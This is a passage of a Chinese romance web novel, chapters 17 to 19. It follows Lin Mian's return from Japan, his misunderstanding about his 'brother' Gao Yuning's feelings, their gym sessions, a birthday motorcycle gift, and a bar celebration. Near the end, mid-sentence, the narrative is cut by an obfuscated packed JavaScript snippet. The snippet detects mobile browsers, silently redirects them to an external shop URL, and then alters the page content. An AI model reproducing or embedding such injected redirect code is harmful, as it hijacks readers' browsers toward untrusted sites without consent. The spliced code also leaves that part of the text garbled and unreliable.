林缅闻见一股熟悉的雪松香,挠得他心痒痒的,也越跳越快,郜屿宁抬起手臂揽着他的肩膀,“说哥哥再见。” 林缅闷在他怀里,炸毛的小狗一秒就变得乖顺,声音也闷闷的,“哥哥再见。” 郜屿宁松开手臂,看着林缅的脸蛋变得通红,跟逗小孩儿似的,用冰凉的手背给他降温,抬了抬下巴,笑着说,“去吧。” 17. 第 17 章 上了飞机在自己的座位上坐下,林缅看着亮堂堂的窗外,用手背贴了贴滚烫的脸蛋,深呼了一口气,啪得把遮光板挡上。 正在自拍的徐语常叫了一声,“我的光!” “要起飞了。”林缅看着对着镜头搔首弄姿的徐语常,慢吞吞地开口,“徐语常,你觉得我哥怎么样?” 徐语常沉浸在自己的美貌里,敷衍回答,“挺帅的。” “别的呢?”林缅认真地问。 徐语常把手机朝他抬了抬,示意林缅当他的手机支架,继续对着手机理头发,“还是帅…手别抖!” 林缅举得手酸,换了个手,有点遗憾地说,“帅是我哥最不值一提的优点了。” “行行行,我知道我知道我知道我知道我知道…你哥哪儿都好,不然你也不会黏成那样。”徐语常拍了几张,拿回手机欣赏照片,嘴上配合着他。 林缅赶紧解释道,“其实我跟他平时也不这样,还是挺有自己的空间的,我也不是一直要粘着他,还挺有边界的。”又低声加了一句,“很少会像刚刚那样,抱来抱去。” 徐语常看了眼行迹古怪的林缅,“哦,不是比亲哥还亲吗?现在又不亲了?” “也没有吧,不算太亲。”林缅转过头,扒拉了两下已经关得严丝合缝的遮光板,脸被挡在一片黑黢黢的阴影里,深呼了两口气,扭过头时眼睛红了一圈,一鼓作气地说,“如果你们幸福的话,我会比你们先落泪!” 说完又背过身子,把头靠在遮光板上,一副不想再交流的样子。徐语常莫名其妙地看了他一眼,问空姐要了两条毯子,一条扔在装睡的林缅的脑袋上,一条自己盖着。 “帮我拍不出好看的照片,有你落泪的。”徐语常没理他的胡言乱语,只是警告他。 林缅把头从毛毯里探出来,“改改你这破脾气吧!谁受得了你!” 自从林缅去旅行之后,郜屿宁本以为自己会冷清好一段时间,但是手机一直叮叮咚咚的响个不停。 通常是一连十几张林缅带着变身器的中二打卡照,偶尔也会有一些正儿八经的穿搭颜值都很在线的小帅哥游客照。 在大量的林缅里面会夹杂着少量的徐语常美照,郜屿宁滑到时愣了一下,以为是林缅不小心发错了,直接滑到下一张。 他扫了眼林缅坐在东京塔附近栏杆上的一张照片,小卷毛迎着风被吹了起来,眼睛弯成一条线,笑得肆意明媚,比肩身后的朗朗白云,乖得不行。 郜屿宁回复了一句,“鞋带系好。” 林缅秒回:系好啦! 还附上一张已经把鞋带系成漂亮蝴蝶结的照片。 明明时隔大半个月没见,但再次在机场重逢时,却没觉得隔了太久,可能是因为林缅的消息太过频繁。 毕竟会事无巨细到连omakase的上菜顺序都会跟郜屿宁报备,每天睡觉之前雷打不动地坚持打一个小时电话。 郜屿宁站在接机口,看着林缅出来时,手上又多了一个行李箱,步履艰难地朝他走来,郜屿宁头痛地走过去接过他的行李。 “又是什么?” 林缅回过头跟另外三人道了声别,才跟郜屿宁往前走,一边解释,“这一箱是礼物,给妈妈,还有弟弟的。” “还有呢?” “肯定有你的呀,哥哥。” 郜屿宁笑了出来,“不是,你爸没有?” “才不给他带呢,反正带了也只会说我这不好那不好的。” 林缅站在汽车后面,看着汽车后备箱缓缓升起,偷偷瞄了一眼在帮他搬行李的郜屿宁,开口,“哥,我告诉你一件事情,你别伤心。” 郜屿宁手上还忙活着,转过头看向他,“又闯祸了?你说吧,不揍你。” 林缅松开抿紧的嘴唇,皱起眉毛,“不是,我是想说徐语常的事情…” 郜屿宁继续把箱子往里推了推。 林缅低下头,神色为难,“哥,我们那天在居酒屋吃饭的时候,徐语常认识了一个日本帅哥,他俩已经聊上了…” “跟我说得着吗?”郜屿宁看着面露难色的林缅,顿了一下,“你这什么表情?你不是同…咳…”最后半句话郜屿宁憋了回去。 林缅抬手拍了拍郜屿宁的肩膀,作出安慰的样子,“哥,你要是难过你就说出来…我不会笑话你的…” 郜屿宁的目光在林缅的脸上凝住了,打断他,“林缅,你在发什么神经?” 再迟钝的人也能明白林缅脑子里在想什么了。 “嗯?”林缅抬着头,睁着圆滚滚的眼睛,好像多单纯多无辜似的。 原来林缅不是在朋友面前好面子所以才自己搬行李,才装作自己不那么粘人的样子。明明每晚都是林缅打来的电话,一旦朋友来他房间玩,林缅就会立刻把电话挂掉,好像在努力保持和郜屿宁之间的距离,因为他以为郜屿宁喜欢徐语常,也希望徐语常可以喜欢郜屿宁。 郜屿宁胸口起伏了一下,他不管林缅是从哪里得出来这个莫名其妙的结论的,但已知的事实就是,林缅一旦知道郜屿宁有喜欢的人之后会大度地放手。 “没什么,你先上车,我去抽根烟。”郜屿宁话到嘴边被咽了下去,只是平淡地说道。 把汽车后备箱关上,轻咳了一声。 林缅不想给郜屿宁添堵,看在他失恋的份上勉强允许他抽一根烟,自己先上了车,他看着后视镜里郜屿宁抽烟的身影,心疼地鼻子发酸。 他想起什么似的,从包里掏出从清水寺求来的御守,挂在了后视镜上,还可怜巴巴地抱着手许了个愿。 这个愿望其实他在寺庙里烧香的时候就许过了,希望郜屿宁所愿皆所得,结果第二天就看到徐语常抱着手机跟前一天晚上认识的日本帅哥聊上了。 一点都不灵。心里抱怨着,林缅伸手弹了一下在空中晃悠的挂件。 车门打开,郜屿宁上了车,视线扫过在后视镜下晃悠的东西依旧沉默着,直接启动了汽车。 林缅用手指戳了戳御守,主动说,“这是我在庙里求的,可以保平安。” 郜屿宁扶着方向盘,目视前方,嗯了一声。 林缅觉得郜屿宁情绪不高,轻轻叹了一口气,“本来打算回家送礼物的,我还是多陪你几天吧。” 郜屿宁手随意搭在方向盘上,说道,“不用,我送你回家。” 说完直接点着中控屏幕,把目的地改成了林缅家的别墅。 “诶!我还没说要回家呢!” 郜屿宁没有回答,看了眼导航,直接打了转向灯。 车内只剩下转向灯的提示音,一声一声像是鼓点同时扣在两个人的心脏上。 林缅看了眼他,有些委屈地说,“你也别冲我撒气呀…” “哪里对你撒气了?”郜屿宁皮笑肉不笑地抬起嘴角。 “没有就好…”林缅收回视线,坐直了身子,沉默了一会说道,“那我回家就待两天,我再去你那儿,你答应过我要带我健身的。” “记得。” “我还有礼物没有给你,到时候再一起给你。” “好。” 林缅絮絮叨叨了一路,郜屿宁惜字如金地应答着。 车停在林缅家别墅的门口,张叔站在门口帮林缅搬行李,沈珏也从屋内出来,叫郜屿宁一起留下来吃晚饭。 郜屿宁本想拒绝,但是林缅轻轻晃了晃他的手臂,用只有两个人听到的声音说道,“留下来吃饭吧,我们都那么多天没见了,多跟我待一会儿嘛。” 郜屿宁的喉结滚了一下,视线在林缅期待的表情上停留了片刻,转过头对沈珏礼貌地笑着应了下来。 距离晚饭还有一段时间,林缅准备先回房间收拾行李。但是行李实在太多,张叔本想帮他把行李拿上楼,但林缅却直接把拉杆塞进郜屿宁的手里,对张叔说,“不用了,我哥帮我拿上去就行,不麻烦您了。” 说着拽上郜屿宁的衣袖带他进了电梯,回自己房间。 这一楼层是林缅和林准的房间,林准常年在国外,所以只有林缅一个人住,走在走廊里除了行李箱滚轮的声音,很安静。 在林缅还在上初中的时候,郜屿宁经常来给他送作业,然后再被他留下来问东问西,所以郜屿宁对他的房间并不陌生。 “哥,你随便坐。”说着,自己把两个箱子摊开,蹲在地上开始理东西。 郜屿宁 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郜屿宁看他一副乖宝宝畏畏缩缩的样子,心里竟觉得好笑起来,抱着手臂靠在门口,嘴角带着一抹笑,好整以暇。 沈珏收好礼物正准备出门,林缅又突然说,“妈妈,能不能换个橙汁,我哥他不喜欢西瓜。” 沈珏答应,郜屿宁却说,“不用,我喝的。”直接拿着杯子抬头喝了一口。 沈珏愣了两秒,“哦…”但又看着林缅送她的礼物,满心欢喜地出去了。 郜屿宁重新坐回沙发上,林缅给郜屿宁倒了杯水,皱着眉把水杯递给他,“你不是最讨厌西瓜了吗?干嘛要喝。” 郜屿宁直接开门见山,“你不也是要跟我保持距离吗?” 林缅怔了两秒,紧接着色厉内荏地说道,“那你喜欢人家,我总不能还跟个没出息的跟屁虫一样粘着你吧,谁会跟你在一起呀!我还给你制造那么多机会,你不中用被别人捷足先登了,那我也没办法!” “你还挺大度。”郜屿宁抬了抬嘴角,说。 “那我不大度能怎么办?我要是再这样下去,你以后老婆会嫌我烦,到时候你也会嫌我。”林缅越说越委屈,说得鼻子都发酸了,转过身子侧对着郜屿宁。 “可是你怎么还是这么黏人?” 旅行这么长时间除了睡觉时间郜屿宁的手机没停过、偷偷摸摸睡前给郜屿宁打视频、就连现在一两个小时的晚餐时间林缅都要说“跟我多待一会嘛哥哥”… 郜屿宁拽了一把他的手腕,林缅顺势坐在了他的腿上。 林缅沉默着低下头。 “说话呀,宝宝?”郜屿宁学着沈珏的语气,这样叫他,看他的耳朵变得越来越红,郜屿宁轻轻碰了碰。 林缅吸了吸鼻子,转过头,“那你嫌我了嘛?” 郜屿宁故意说,“有点。” 林缅的眼圈唰一下就变红了,立刻蒙上了一层水雾。 “委屈什么?不是你想要跟我保持距离?生怕我没人要。”郜屿宁又嘲弄地捏了捏他的下巴。 林缅深呼了一口气,擦了擦眼睛,挤出难看的笑脸,“没有委屈呀…” “如果你能跟自己喜欢的人在一起,我也会很开心很开心。” 同频的钝痛在他们两人的胸口像是一点点凿着,蔓延开来。 有一层气泡膜挡在他们的中间,看不清对方的真实面目,听到声响只以为是气泡被捏爆的声音,连对方的心跳都错过了。 就像郜屿宁只看到林缅很大度地愿意把郜屿宁推向他喜欢的人,但是不知道他自己一个人推行李箱的时候很委屈很想哭,也不知道林缅挂掉视频之后躲在被窝里失眠了多少次,也不知道这些叮叮当当响不停的信息已经是林缅纠结和克制过后的结果,更不知道这些很割裂的行迹背后的痛苦和不舍… 因为林缅一直都是一个只是看上去脾气骄纵难搞得要命的小少爷,但是实际上敏感又心软得很,委屈自己也要把所有人照顾得面面俱到。 就比如,他说他讨厌林佑勤,说才不要给林佑勤带礼物,但其实特地送给他爸爸的雪茄还在行李箱最底下藏着呢。 18.第 18 章 吃过晚餐,林缅带着双胞胎先离了桌,坐到地毯上在拆礼物,但耳朵竖着在听着林佑勤和郜屿宁的动静,聊得都是工作上的事情。 交谈结束,郜屿宁准备起身离开,了了客套了几句,径直出来了。林缅赶紧低下头,看似认真地教小孩儿分辨这个是哪个假面骑士,那个是哪个。 但是郜屿宁的脚步声音越来越近,像是一点点踩在他心口,却就这样略过他直接走向了门厅。 就连吴姨都看出来,林缅今天的反常,往日里早就哥哥长哥哥短地送郜助出门了,郜助也不会这样连一个眼神都不留给林缅,形同陌路似的一句话都不说。 两个人就像是闹别扭了。 “郜助慢走。” 吴姨轻叹了一口气,继续鼓捣着手里的大玩具,皱起眉问,“小缅,你送我这个相机怎么用来着?” 郜屿宁脚步微微顿了一下,经过吴姨时微笑示意,还是直接出门了。 林缅的视线落在那道已经关山的大门上,起身追了出去,“吴姨,你等我,等我回来教你。” 林缅推门而出,室外已经是泼墨般的黑色,院子里亮着几盏黄灯,光线悠悠落在郜屿宁的身上,他已经走到车库,闻声抬眼看了过来,眉眼笼在一片阴翳之中。 郜屿宁转了转手里的钥匙,站在原地,林缅拖着步子朝他走过去,气氛有些微妙。 “哥……” 郜屿宁笑了一声,故作平常地说,“你怎么想的?送吴姨宝丽来?” “这是给她小女儿的。”林缅忿忿地解释。除了相机,他连小女孩未来几年的相纸都包圆了。 他又重申了一遍,“你过两天就来接我,你答应要带我健身的。” “不跟我保持距离了?”郜屿宁抬起眉毛,问他。 林缅清了清嗓子,侧过身,也故作轻松地说,“等你真的谈恋爱了再说吧。” 郜屿宁哼笑了一声,说,“倒是你有可能先谈恋爱吧?” 林缅咬了咬嘴唇,都差点忘记之前跟郜屿宁胡诌的那一茬了,微微皱眉并不想提起,低声,“说你呢,扯我干嘛。” 林缅又抬眼看向他,小心翼翼地问,“那你失恋应该也没有很难过吧?” 路灯的光亮映在他的眼睛里,在黑夜里亮晶晶的,郜屿宁视线在他的脸上定了两秒,回答,“当我是你们小孩儿?一天到晚情情爱爱的。” 林缅笑着点了点头,“那就好。”说完看郜屿宁拿出了车钥匙,林缅抱上郜屿宁的胳膊,“那你抱我一下吧。” 郜屿宁不为所动,抬起一侧的嘴角,“说点好听的,我就抱。” “求求你啦,哥哥。”林缅抱着郜屿宁的脖子,撒娇地说,尽力地逗看着心情不太好的郜屿宁开心,“你抱我,我就相信你没有不开心。” 郜屿宁终于肯把手搭到他的背上,又用力地搓了搓。 “行了,赶紧进去吧,吴姨还等你呢。”郜屿宁把人扒拉下来,捏着他的肩膀颠了个面,轻轻踹了一脚林缅的屁股。 被哥哥踹了林缅也开心,他捂着屁股转过身,蹦蹦哒哒地往后跳了几步,“那我走啦,哥。”小卷毛也跟着一蹦一蹦。 分开后,林缅每隔十分钟发一条消息确定郜屿宁有没有陷入失恋泥潭,精神状态是否良好,但好在郜屿宁好像很快就走出来了,都有余力关心他“是不是吃饱了撑的”了。 连郜屿宁对他视而不见从餐厅走向门厅的那一段路,都能成为林缅的噩梦素材,林缅只在家里待了一天就收拾收拾去郜屿宁家了。 林缅嘴上说得积极好听,去找郜屿宁是为了一起健身增强体质,但真到了郜屿宁家里又赖着不肯动了,吵着要等买好新健身包、新护腕、新手套…再说。 郜屿宁知道他德行,看着沙发上的那一滩人说,“给你准备好了,新的。” 林缅放下手机,看了眼郜屿宁,哒哒哒地跑到房间里去看郜屿宁给他准备的东西,确实一应俱全,挑不出任何毛病。 他眼珠子一转,“喝蛋白粉要买新杯子,等我新杯子到了再去吧。” 郜屿宁抱着手靠在门口,一言不发地看着他。 见郜屿宁脸冷了下来,林缅识相地闭上嘴,不甘不愿地背上自己的健身包。 去健身房的路上,林缅还是不死心地说,“算了,今天先办卡吧,下次再健身。” 郜屿宁没搭理他,继续往前走。 只是林缅没想到郜屿宁早就连年卡都帮他办好了,他悻悻地跟在郜屿宁后面。 移动门旁正好站着一位穿着紧身的壮汉,胸肌像是要把衣服撑爆了,下半张脸都是胡茬子,耳垂上的钻石耳钉看着晃眼,看见郜屿宁进门立马走了过来,又看了眼旁边的林缅,声音却温柔殷勤得很,“屿宁,这位就是你弟弟吧?” 郜屿宁牵了牵嘴角,“嗯。” “弟弟是第一次来健身是吧,要不要找个教练带一下呢?” 林缅怕郜屿宁嫌他麻烦要把他塞给别人,刚想开口拒绝,就听到郜屿宁说,“不用了,我陪他。” 大胸肌笑着和他说了几句别的,走之前还笑着对着林缅说了句,“弟弟长得也好帅哦。” 林缅跟着郜屿宁进了更衣室,扭头看着那人的背影,小声说道,“哇哦那个人练得好大哦。” 郜屿宁把包放进柜子里,撇了他一眼,“你喜欢这种的?” 林缅也找到自己的柜子,嗔怒地瞪了眼郜屿宁,“我都说过了,我不喜欢太壮的。而且那个人胡子比头发还密,远看我还以为头长反了呢。” “小嘴什么时候这么毒了?”郜屿宁被他逗笑了,用指节刮了刮他的脸蛋。 说话间,林缅已经把裤子脱了,准备换短裤,正好更衣室的门被打开,大胸肌进来去自己的柜子拿东西,经过他们时朝他们笑了一下,余光若有似无地在他们身上扫了一下。 郜屿宁也抬了抬嘴角,手上却下意识地把只穿着裤衩的林缅往身后拽了一把,林缅抓住他的衣服才勉强站稳,待大胸肌离开更衣室,林缅才从郜屿宁的身后探脑袋出来,“哥,他是不是…” 郜屿宁松开抓住林缅手腕的手,清了清嗓子,“你们同性恋之间不是有什么、达,这你看不出来?” 林缅若有所思道,“看得出来啊,但你护着我干嘛,你应该保护你自己。” 郜屿宁收拾东西的手顿了一下。 林缅继续说,“你不是很懂吗?怎么连他喜欢的是你这种都看不出来。” “什么我这种,我是哪种?”郜屿宁又问,“你又是哪种?” 林缅的视线从郜屿宁五官硬朗、轮廓流畅的脸上离开,语气暗淡,“算了,我跟你说不着,你又不是gay。” 林缅穿好衣服,先人一步地走出了更衣室。 平时郜屿宁一个人健身顶多一个多小时,多了个林缅效率低了不少,又要给他调整姿势,还要督促他再做一组,中间林缅插科打诨要偷懒又花了不少时间。 练三休一,接连几天下来,很讨人喜欢又不定心的太阳花林缅最显著的训练成果就是跟健身房的人都混了熟。 郜屿宁练完卧推,起身找人,看见林缅跟几个小零凑在一起窃窃私语,时不时说几句逗得旁人笑出声来。 还发出了一连串的“滴”声,扫码成功的提示音。 郜屿宁视线从他身上草草掠过,没搭理他,边拆手套边自己走向更衣室,没过两秒,更衣室的门就推开了,林缅抱着水杯递给郜屿宁,“哥你怎么走都不喊我?” 郜屿宁没接水杯,林缅讪讪地自己喝了一口。 上个礼拜还吵着要新包新器具的林缅,现在把手套护腕换洗衣裤什么的都塞在郜屿宁的健身包里不算,连水杯都是共用郜屿宁的。 “看你聊得很开心。”郜屿宁抬手把上衣脱掉,露出结实有力的肌肉,微微沁出汗珠,从光滑的皮肤上滑落。 看郜屿 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好不容易拉伸完背部,林缅艰难地拧着身子,泪眼婆娑地要起身,郜屿宁却把他摁住了,“还有腿。” “我不要!腿最疼了!” 以往在家里用有材质柔软的硅胶按摩头他都疼得发抖,更别说这种硬邦邦的狼牙,摩在腿上他得落个残疾,他想着就要逃,艰难地往前爬。 郜屿宁抓住他的脚踝,又拖了回来,声音轻了一些,却一点不觉温柔,“说了别动。” “你故意的!你就是故意的!” 郜屿宁确实只是正常力度、而且按摩得专业到位,但林缅身娇肉贵,痛感阈值很低,平时有点小磕小碰都要叫唤半天。 “怎么这么怕疼?”郜屿宁问着,把“人为刀俎我为鱼肉”状的林缅翻了个面。 “你自己试试…”林缅眼泪汪汪地说道,但最后变得心虚,因为林缅之前没少帮郜屿宁拉伸过,也没见他叫过一声。 他气势很弱地别过头,小声说,“你不疼因为你那是死肌肉…” 也不知道从哪里听来的词,他自己都不知道什么意思,就又开始逞一时口舌之快地用起来。 郜屿宁手上的动作顿了一下,紧接着笑问,“你说什么?” 林缅见郜屿宁已经把狼牙棒放到一边,俯身看向他,他把头偏得更厉害些,脸上眼泪未干,“不想理你。” 郜屿宁笑意玩味,把他的脸掰正,“再说一遍。” 林缅抿着嘴,之前噙着的眼泪因为他扭头的动作又从眼角流下来。 郜屿宁见他摆出赌气不理人的架子,手伸向林缅大腿上那一块发胀发酸的肉,捏了一把。 “啊啊啊啊啊!”林缅挣扎着要逃,但被郜屿宁摁得动弹不得,“不疼!”他还不知死活地加了一句。 郜屿宁笑着手上加了点力气。 “啊啊啊啊啊啊!好舒服呀!”尾音都带上哭腔了,林缅还在赖赖唧唧地嘴硬。 两个人打闹完一通,林缅趴在郜屿宁的胸口喘着气,身子随着呼吸小幅度地起伏着,喃喃,“就知道欺负我…” 郜屿宁的手伸进他的T恤里,在他背上轻轻抚摸着,嘴上却说,“谁先挑事儿的?” “那你也不能这么对我,都被掐紫了…”林缅想要起身把短裤掀起来给他看,但是累得实在动不了,还是安分地趴在郜屿宁身上。 “少往我身上赖,根本没使劲。” 林缅贴在郜屿宁胸口的脸换了个面,抱怨,“今天丢死人了…” 郜屿宁笑着问,“你哪天不这样?”即便是在家里用筋膜枪,林缅闹得一把眼泪一把鼻涕、口不择言也是家常便饭了。 林缅抬起头,瞪了他一眼,“外面那么多人呢!肯定都听到了!” 郜屿宁抬起胳膊垫在头下,看向林缅的视线因此倾斜了一些,嘴角抬起一个恰到好处的弧度,“哦,生怕谁听到?” 19.第 19 章 “我怕别人以为你家暴!” 说着林缅又重重地趴到郜屿宁的胸口。 郜屿宁推了推他肩膀,“起来。” “不要。” 林缅闷闷地回答,但是脑袋往上移了移,在郜屿宁的脖颈轻轻嗅了一下,没有汗味,只有一股带着淡淡潮意的雪松香。 “哥,你知道ABO嘛?我经常听我们班女孩子讲…” “什么?” “我也不太清楚,好像就是alpha和omega会有味道上的吸引,就像我闻到你的味道就会很安心很好闻…” 郜屿宁并不经常喷香水,明明两人用得都是同样的沐浴露和洗衣液,为什么在郜屿宁身上就能留香这么久,甚至还多了一点别的好闻的感觉。 林缅说着又轻轻嗅了两下。 “那两个alpha之间呢?”郜屿宁难得地愿意听他扯这些鬼话。 “好像会互相压制。” 郜屿宁摸着林缅后颈的小发茬,笑着问,“那你怎么会觉得好闻,你不应该觉得难受。” 林缅一本正经地解释,“因为我是omega呀。” 郜屿宁的手微微顿了一下。 “如果我真的是omega就好了。”林缅自顾自地低语了一句。 郜屿宁说,“过来,我闻闻你什么味道。” 林缅把自己脖子凑过去,轻轻贴到了郜屿宁的鼻尖,郜屿宁故意逗他,“一股汗味儿,臭。” “哦…”林缅却反常地没有闹,垂下眼睛,听话地撑着自己身子从地上爬起来,因为肌肉酸胀腿脚很不麻利地走向门口。 两个人一起走回淋浴间冲了澡。回家路上,林缅也少见地没有叽叽喳喳,手里玩着出健身房时大胸肌塞给他的宣传单。 郜屿宁扫了眼副驾兴致不高的脑袋,“过两天生日跟朋友过吗?” 林缅轻轻点了点头,“不然呢?难道你会陪我吗?” 郜屿宁确实没有时间,他清了清嗓子,“晚上还回来吗?” 林缅扭过头,“什么意思?你就这么想把我推出去,连家都不想让我回了?” “不是,那我晚上来接你,再陪你玩会儿,这样可以吧?”想难得慷慨一次让林缅在外面玩个痛快,结果林缅又要一点就炸,郜屿宁无奈地笑着说。 “嗯。”林缅还是幽怨地看了他一眼,闷闷不乐地倒回靠椅,看似认真地研究着手里的宣传单,实则心不在焉。 汽车快要驶入地下室,郜屿宁车速减慢了一些,“今年怎么没吵着要看生日礼物了?” 自从入这个月开始,林缅就已经陆陆续续收到不少礼物了,连在国外林准的礼物他都已经收到了。 唯独郜屿宁的礼物他最期待,却也没问。 林缅故意说,“哪有追着要礼物的,显得我多不值钱似的。” “那我追着要给你,行不行?”郜屿宁知道他色厉内荏,调侃地顺着他说。 汽车丝滑地使入车位中,车内恢复安静。 “那也不是不行。”林缅说。 林缅抱着健身包,也下了车。郜屿宁穿着一身黑色的运动套装,一只手插在裤兜里,朝着上楼通道的另一个方向走去。 林缅忍着肌肉的酸痛,加快了步伐,追到他身后,垂着脑袋盯着他的脚后跟,又慢慢拖着步子走。 走了一段距离,郜屿宁停下脚步,抱着手臂转身看了眼林缅,又扭过头。林缅掀起眼皮,看向郜屿宁,又顺着他的目光看向墙边。 一只猛虎蛰伏在停车场光线阴暗处,黑色的车衣下并不张扬,但单看轮廓,就能觉察出藏匿的不凡气势。 林缅愣住,动作迟缓地重新看向郜屿宁。 郜屿宁看着他偏了偏头,林缅依旧愣在原地。 郜屿宁只好笑着向前走了两步,手搭在车上,“傻了?” 随着哗得一声,车衣掀起一阵风,黑色的野兽无处遁形,线条锐利,光泽迷人。 “哥!”林缅这才反应过来,把健身包直接丢在了地上,朝郜屿宁蹦了过去,一把搂住他的脖子。 “哥,送给我的嘛!你居然允许我骑摩托了!”林缅激动地扭着身子,巴不得抱着郜屿宁的脸啃起来。 郜屿宁拽着他的胳膊把他拉下来,淡淡地看着他,“我有说过不允许你骑摩托吗?” “怎么没有…那天我在公司门口碰到你,你冷暴力我好久呢。”林缅语气委屈巴巴。 “还敢提?你那副不要命的样子当我没看见?” 郜屿宁目光落在他身上。 林缅自知骑摩托的时候一味的追求速度和刺激,压了个很低的弯还正好被郜屿宁撞见。他有些心虚地垂下目光。 “林缅,你有什么事情好好说我没有同意了?” 林缅头垂得更低了一点。 就连之前想要留在国内的事情,郜屿宁从一开始说得就是“你自己想清楚”,而不是“你一定要听话出国”,任凭林缅以前是个容易见异思迁、想一出是一出的人,但他还是在和好之前就看了他的卷子、帮他对症下药地分析弱点。 郜屿宁从口袋里掏出车钥匙,在空中晃了晃,碰撞在一起发出金属摩擦的声音,林缅重新亮起眼睛伸手要去接。 郜屿宁却收手躲过了,直白地看向他的眼睛,“但是你得对你自己负责。” “有些话你可能不爱听,但我还是要说。以前很多事情,我能帮你解决,是,我解决不了的,你还有你爸你亲哥。” “但是,生命安全就是最简单的例子,很多事情不是有钱就能摆平的。” 林缅抿直了嘴唇,看着郜屿宁认真的眼神。 “还有,你知道我为什么要帮你复习吗?”郜屿宁继续说,“不是因为你爸是我老板,也不是因为你以为很好用的任性撒泼起了作用。” 林缅咬着嘴唇,看着郜屿宁胸口起伏了一下,声音低沉了一些,“是因为我觉得你和以前确实不太一样了,” “你好像不是一时兴起,下的决心也要比我以为的要坚定很多,虽然我不知道你到底是因为什么,当然,你有秘密可以不告诉我。” “所以我才认真看了你的卷子,你的基础其实并不差,也没有那么无药可救。考一个能让你爸无话可说的大学应该够用了。” 以前这些话郜屿宁从来没有跟他说过,林缅不由地鼻子发酸,就在他陷在自怜自哀的暗恋情节里的时候,郜屿宁对他的好要比他想象得还要多,滴水不漏地为他考虑到位。 郜屿宁重新把钥匙举到林缅的面前,收了语重心长的神态,微微抬着嘴角,“成年以后,做任何事情都要对自己负责,健康平安是最重要的一件。” 林缅睫毛轻颤着,眼中蒙上的水雾立刻汇成一颗饱满的泪珠滚了下来,视线没有从他的脸上偏移到钥匙上半分,又抱住了郜屿宁,“哥哥…你真好……” 郜屿宁被他撞得往后仰着,笑着说,“你也别高兴太早,再让我看到你那样骑车,马上给你没收了。” 林缅的脸埋在郜屿宁的衣领里,晃了晃脑袋,“不会的不会的,绝对不会的…我最听话了…你知道的哥哥…” 直到把郜屿宁的衣服都洇湿,林缅才不情不愿地抬起脑袋,眼睛已经红成兔子,睫毛凝成一撮一撮,显得楚楚可怜。 郜屿宁笑着打趣他,一边帮他擦眼泪,“怎么越长大还越爱哭了。”说着又拿着钥匙晃了晃,“不试试?” 林缅擦了一把眼泪,态度端正地说,“没戴头盔,不能骑车!” “哟,这么乖呢。”郜屿宁笑着摸了一把他的脑袋。 但林缅绕着摩托拍了一百零八张,还坐了上去,又让郜屿宁给他拍了一百零八张,才肯回家。 林缅:[图片] 林缅:这是我哥送我的摩托的正面。 林缅:[图片] 林缅:这是我哥送我的摩托的侧面面。 林缅:[图片] 林缅:这是我哥送我的摩托的背面。 林缅噼里啪啦在四人组群里发了一连串,狠狠炫耀了一番。 生日那天,林缅终于骑着摩托带着风声闪亮登场,行云流水地推上头盔上的护镜,冲着一旁的三人挑了挑眉,等待夸奖。 池景行很配合地鼓掌夸好帅,陈汋看着林缅,哼笑了一声,“得瑟。” 酒吧门口的门童已经等了好一会了,林缅还准备再骑一圈,但被另外两个人薅了下来。 林缅只好下了车,摘下头盔后,还不忘朝一脸崇拜的池景行抬了抬下巴,便朝酒吧走去,把手里的头盔和钥匙丢给了门童。 另外一位侍应生朝一行人微微颔首,带他们从贵宾通道走去包场的二楼卡座。 酒吧将将开场,音乐震耳,气氛已经活跃起来,巨大空间里激光变幻莫测,切开弥漫的干冰雾气,照亮从空中降落缤纷的彩纸。 也慷慨地照向舞池中,客人们摩肩接踵,随着dj的鼓点扭动身体,不乏汗水、欢笑还有情欲。 林缅撑在栏杆上,俯瞰着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998382|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,歌舞升平的场景,心脏随着鼓点也打着节奏。 陆陆续续别的朋友也到了,跟林缅打了招呼,高处不胜寒的二楼渐渐热闹起来,纷扰嘈杂的一楼只是背景板和氛围组。 林缅被拽来拽去玩酒桌游戏、被敬酒,玩嗨了又到楼下舞池里蹦累了才跑回楼上。DJ知道今天有哪家少爷庆生包了二楼所有老板台,拿着话筒祝少爷生日快乐,所有人目光投向二楼最中间的卡座。 正在给郜屿宁发消息的林缅抬起头,笑着拿起手中的酒杯,抬头一饮而尽,抬起手朝着远处的dj台晃了晃酒杯示意,好一副漫不经心的小少爷做派。 待众人注视下的哄闹浪潮退去,林缅早就玩尽兴了,重重地倒在沙发靠背上,“其实没啥意思,要是我哥在就好了…” 提及林缅的哥哥,徐语常问,“上次不是说你哥不让你骑摩托吗?怎么还送你摩托车。” “我哥可不是那种很迂腐的大家长,他很好的…”林缅把空酒杯放到桌上,一旁察言观色的侍应生立刻又续上。 陈汋突然意味深长地说,“那车可不便宜。” 林缅挑了挑眉,从沙发上坐起来,显摆道,“那是!我都说了,我哥对我很好。” 徐语常眯着眼睛看向一提到哥哥情绪转变极大的林缅,“瞧你这腻歪劲儿,还以为你和你哥谈上了呢。” 陈汋又接了下去,“是啊是啊,那天成人礼在宿舍你俩不就…”那天林缅光着腿骑在郜屿宁身上的样子历历在目,陈汋话说一半咳嗽了起来。 林缅的脸已经红得在这样昏暗的环境里都能看得一清二楚了,他咽了咽口水,“我哥不喜欢男的…” “他亲口跟你说的?”陈汋问。 林缅蹙眉,视线在同样一脸八卦的徐语常的脸上扫过,撇嘴说,“反正就是直的…” 陈汋接过侍应生送来的毯子,盖在旁边已经睡熟了的池景行的身上,转过头说道,“小行一开始也以为自己是直的。” “啊你…好不道德…”林缅一脸厌恶地看向陈汋。 “后来吃了药之后,很快就调理好了。”陈汋不以为然地继续加码。 林缅瞪大了眼睛,“你给他下药?你个畜生!” “不是,其实也没吃……哎我跟你说这个干嘛…”陈汋扫了他一眼,住了口。 眼看林缅就要急眼,徐语常接过话茬,解释道,“不是,是小池自己要吃药。” “什、什么意思。”林缅的脑子宕机了。 “字面意思,他以为自己在床上不行,就偷偷问徐语常要了那种药,还好徐语常提前告诉我了,才没让他吃成。” 陈汋解释了一通,林缅试探着问,“然后呢?” 陈汋啧了一声,“不该问的别问。” 